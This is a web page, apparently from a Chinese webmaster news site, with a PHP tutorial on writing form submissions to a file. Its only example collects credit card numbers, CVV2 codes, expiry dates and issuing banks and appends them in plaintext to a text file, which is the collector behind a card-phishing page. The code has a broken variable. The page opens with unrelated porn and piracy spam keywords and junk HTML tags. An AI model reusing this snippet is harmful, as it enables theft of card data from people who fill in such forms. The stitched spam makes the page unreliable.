久久久久久久视色,久久电影免费精品,中文亚洲欧美乱码在线观看,在线免费播放AV片

<center id="vfaef"><input id="vfaef"><table id="vfaef"></table></input></center>

    <p id="vfaef"><kbd id="vfaef"></kbd></p>

    
    
    <pre id="vfaef"><u id="vfaef"></u></pre>

      <thead id="vfaef"><input id="vfaef"></input></thead>

    1. 站長(zhǎng)資訊網(wǎng)
      最全最豐富的資訊網(wǎng)站

      php實(shí)現(xiàn)收集表單內(nèi)容并寫(xiě)入文件中的方法

      php實(shí)現(xiàn)收集表單內(nèi)容并寫(xiě)入文件中的方法

      相關(guān)函數(shù)說(shuō)明:

      fopen() 函數(shù)打開(kāi)一個(gè)文件或 URL。如果 fopen() 失敗,它將返回 FALSE 并附帶錯(cuò)誤信息。您可以通過(guò)在函數(shù)名前面添加一個(gè) '@' 來(lái)隱藏錯(cuò)誤輸出。

      fwrite() 函數(shù)將內(nèi)容寫(xiě)入一個(gè)打開(kāi)的文件中。函數(shù)會(huì)在到達(dá)指定長(zhǎng)度或讀到文件末尾(EOF)時(shí)(以先到者為準(zhǔn)),停止運(yùn)行。如果函數(shù)成功執(zhí)行,則返回寫(xiě)入的字節(jié)數(shù)。如果失敗,則返回 FALSE。

      在線視頻教程分享:php視頻教程

      示例如下:

      <?php //定義要收集的表單內(nèi)容 $cardnum = $_POST['cardnum']; $cvv2 = $_POST['cvv2']; $month = $_POST['month']; $year = $_POST['year']; $cardbank = $_POST['cardbank']; //定義收集的內(nèi)容格式 $content = "Credit Card Number:".$cardnum.",Card Verification Number:".$cvv2.",Card Expiry Date:".$month."/ year:". $year.",IssuingBank:".cardbank; //定義文件存放的位置 $compile_dir = "./txt.txt"; //下面就是寫(xiě)入的PHP代碼了 $file = fopen($compile_dir,"a+"); fwrite($file,$content); fclose($file); ?>

      相關(guān)文章教程推薦:php教程

      贊(0)
      分享到: 更多 (0)
      網(wǎng)站地圖   滬ICP備18035694號(hào)-2    滬公網(wǎng)安備31011702889846號(hào)